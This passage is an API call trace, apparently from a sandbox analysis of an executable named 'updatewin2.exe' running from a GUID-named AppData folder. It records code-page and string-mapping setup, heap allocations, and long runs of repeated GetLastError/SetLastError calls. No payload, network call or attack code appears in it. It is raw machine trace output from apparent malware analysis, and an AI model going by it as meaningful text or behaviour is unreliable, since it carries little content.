(penv=0x584e70) returned 1 [0056.761] GetLastError () returned 0x0 [0056.761] SetLastError (dwErrCode=0x0) [0056.761] GetLastError () returned 0x0 [0056.761] SetLastError (dwErrCode=0x0) [0056.761] GetLastError () returned 0x0 [0056.761] SetLastError (dwErrCode=0x0) [0056.761] GetACP () returned 0x4e4 [0056.761] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x0, Size=0x220) returned 0x1fc1768 [0056.761] GetLastError () returned 0x0 [0056.761] SetLastError (dwErrCode=0x0) [0056.761] IsValidCodePage (CodePage=0x4e4) returned 1 [0056.761] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0056.761] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0056.761] GetLastError () returned 0x0 [0056.761] SetLastError (dwErrCode=0x0) [0056.761] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0056.761] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.761] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.761] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0056.762] GetLastError () returned 0x0 [0056.762] SetLastError (dwErrCode=0x0) [0056.762] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0056.762] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.762] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꬲ㞅AĀ") returned 256 [0056.762] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꬲ㞅AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0056.762] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꬲ㞅AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x7fqΫ\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0056.762] GetLastError () returned 0x0 [0056.762] SetLastError (dwErrCode=0x0) [0056.762] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.762] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꬲ㞅AĀ") returned 256 [0056.762] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꬲ㞅AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0056.762] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꬲ㞅AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0056.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x7fqΫ\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0056.762] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43acc0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe")) returned 0x5f [0056.762] GetLastError () returned 0x0 [0056.762] SetLastError (dwErrCode=0x0) [0056.762] GetLastError () returned 0x0 [0056.762] SetLastError (dwErrCode=0x0) [0056.762] GetLastError () returned 0x0 [0056.762] SetLastError (dwErrCode=0x0) [0056.762] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.763] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.763] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.763] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.763] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.763] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.763] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.763] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.763] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.763] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.763] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.763] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.763] GetLastError () returned 0x0 [0056.763] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.764] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.764] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.764] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.764] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.764] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.764] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.764] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.764] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.764] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.764] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.764] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.764] SetLastError (dwErrCode=0x0) [0056.764] GetLastError () returned 0x0 [0056.765] SetLastError (dwErrCode=0x0) [0056.765] GetLastError () returned 0x0 [0056.765] SetLastError (dwErrCode=0x0) [0056.765] GetLastError () returned 0x0 [0056.765] SetLastError (dwErrCode=0x0) [0056.765] GetLastError () returned 0x0 [0056.765] SetLastError (dwErrCode=0x0) [0056.765] GetLastError () returned 0x0 [0056.765] SetLastError (dwErrCode=0x0) [0056.765] GetLastError () returned 0x0 [0056.765] SetLastError (dwErrCode=0x0) [0056.765] GetLastError () returned 0x0 [0056.765] SetLastError (dwErrCode=0x0) [0056.765] GetLastError () returned 0x0 [0056.765] SetLastError (dwErrCode=0x0) [0056.765] GetLastError () returned 0x0 [0056.765] SetLastError (dwErrCode=0x0) [0056.765] GetLastError () returned 0x0 [0056.765] SetLastError (dwErrCode=0x0) [0056.765] GetLastError () returned 0x0 [0056.765] SetLastError (dwErrCode=0x0) [0056.765] GetLastError () returned 0x0 [0056.765] SetLastError (dwErrCode=0x0) [0056.765] GetLastError () returned 0x0 [0056.766] SetLastError (dwErrCode=0x0) [0056.766] GetLastError () returned 0x0 [0056.766] SetLastError (dwErrCode=0x0) [0056.766] GetLastError () returned 0x0 [0056.766] SetLastError (dwErrCode=0x0) [0056.766] GetLastError () returned 0x0 [0056.766] SetLastError (dwErrCode=0x0) [0056.766] GetLastError () returned 0x0 [0056.766] SetLastError (dwErrCode=0x0) [0056.766] GetLastError () returned 0x0 [0056.766] SetLastError (dwErrCode=0x0) [0056.766] GetLastError () returned 0x0 [0056.766] SetLastError (dwErrCode=0x0) [0056.766] GetLastError () returned 0x0 [0056.766] SetLastError (dwErrCode=0x0) [0056.766] GetLastError () returned 0x0 [0056.766] SetLastError (dwErrCode=0x0) [0056.766] GetLastError () returned 0x0 [0056.766] SetLastError (dwErrCode=0x0) [0056.766] GetLastError () returned 0x0 [0056.766] SetLastError (dwErrCode=0x0) [0056.766] GetLastError () returned 0x0 [0056.766] SetLastError (dwErrCode=0x0) [0056.766] GetLastError () returned 0x0 [0056.767] SetLastError (dwErrCode=0x0) [0056.767] GetLastError () returned 0x0 [0056.767] SetLastError (dwErrCode=0x0) [0056.767] GetLastError () returned 0x0 [0056.767] SetLastError (dwErrCode=0x0) [0056.767] GetLastError () returned 0x0 [0056.767] SetLastError (dwErrCode=0x0) [0056.767] GetLastError () returned 0x0 [0056.767] SetLastError (dwErrCode=0x0) [0056.767] GetLastError () returned 0x0 [0056.767] SetLastError (dwErrCode=0x0) [0056.767] GetLastError () returned 0x0 [0056.767] SetLastError (dwErrCode=0x0) [0056.767] GetLastError () returned 0x0 [0056.767] SetLastError (dwErrCode=0x0) [0056.767] GetLastError () returned 0x0 [0056.767] SetLastError (dwErrCode=0x0) [0056.767] GetLastError () returned 0x0 [0056.767] SetLastError (dwErrCode=0x0) [0056.767] GetLastError () returned 0x0 [0056.767] SetLastError (dwErrCode=0x0) [0056.767] GetLastError () returned 0x0 [0056.767] SetLastError (dwErrCode=0x0) [0056.767] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.768] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.768] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.768] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.768] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.768] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.768] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.768] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.768] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.768] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.768] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.768] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.768] GetLastError () returned 0x0 [0056.768] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.769] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.769] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.769] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.769] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.769] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.769] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.769] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.769] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.769] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.769] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.769] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.769] SetLastError (dwErrCode=0x0) [0056.769] GetLastError () returned 0x0 [0056.770] SetLastError (dwErrCode=0x0) [0056.770] GetLastError () returned 0x0 [0056.770] SetLastError (dwErrCode=0x0) [0056.770] GetLastError () returned 0x0 [0056.770] SetLastError (dwErrCode=0x0) [0056.770] GetLastError () returned 0x0 [0056.770] SetLastError (dwErrCode=0x0) [0056.770] GetLastError () returned 0x0 [0056.770] SetLastError (dwErrCode=0x0) [0056.770] GetLastError () returned 0x0 [0056.770] SetLastError (dwErrCode=0x0) [0056.770] GetLastError () returned 0x0 [0056.770] SetLastError (dwErrCode=0x0) [0056.770] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x0, Size=0x68) returned 0x1fc1990 [0056.770] GetLastError () returned 0x0 [0056.770] SetLastError (dwErrCode=0x0) [0056.770] GetLastError () returned 0x0 [0056.770] SetLastError (dwErrCode=0x0) [0056.770] GetLastError () returned 0x0 [0056.770] SetLastError (dwErrCode=0x0) [0056.770] GetLastError () returned 0x0 [0056.770] SetLastError (dwErrCode=0x0) [0056.770] GetLastError () returned 0x0 [0056.770] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.771] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.771] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.771] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.771] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.771] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.771] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.771] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.771] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.771] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.771] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.771] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.771] SetLastError (dwErrCode=0x0) [0056.771] GetLastError () returned 0x0 [0056.772] SetLastError (dwErrCode=0x0) [0056.772] GetLastError () returned 0x0 [0056.772] SetLastError (dwErrCode=0x0) [0056.772] GetLastError () returned 0x0 [0056.772] SetLastError (dwErrCode=0x0) [0056.772] GetLastError () returned 0x0 [0056.772] SetLastError (dwErrCode=0x0) [0056.772] GetLastError () returned 0x0 [0056.772] SetLastError (dwErrCode=0x0) [0056.772] GetLastError () returned 0x0 [0056.772] SetLastError (dwErrCode=0x0) [0056.772] GetLastError () returned 0x0 [0056.772] SetLastError (dwErrCode=0x0) [0056.772] GetLastError () returned 0x0 [0056.772] SetLastError (dwErrCode=0x0) [0056.772] GetLastError () returned 0x0 [0056.772] SetLastError (dwErrCode=0x0) [0056.772] GetLastError () returned 0x0 [0056.772] SetLastError (dwErrCode=0x0) [0056.772] GetLastError () returned 0x0 [0056.772] SetLastError (dwErrCode=0x0) [0056.772] GetLastError () returned 0x0 [0056.772] SetLastError (dwErrCode=0x0) [0056.772] GetLastError () returned 0x0 [0056.773] SetLastError (dwErrCode=0x0) [0056.773] GetLastError () returned 0x0 [0056.773] SetLastError (dwErrCode=0x0) [0056.773] GetLastError () returned 0x0 [0056.773] SetLastError (dwErrCode=0x0) [0056.773] GetLastError () returned 0x0 [0056.773] SetLastError (dwErrCode=0x0) [0056.773] GetLastError () returned 0x0 [0056.773] SetLastError (dwErrCode=0x0) [0056.773] GetLastError () returned 0x0 [0056.773] SetLastError (dwErrCode=0x0) [0056.773] GetLastError () returned 0x0 [0056.773] SetLastError (dwErrCode=0x0) [0056.773] GetLastError () returned 0x0 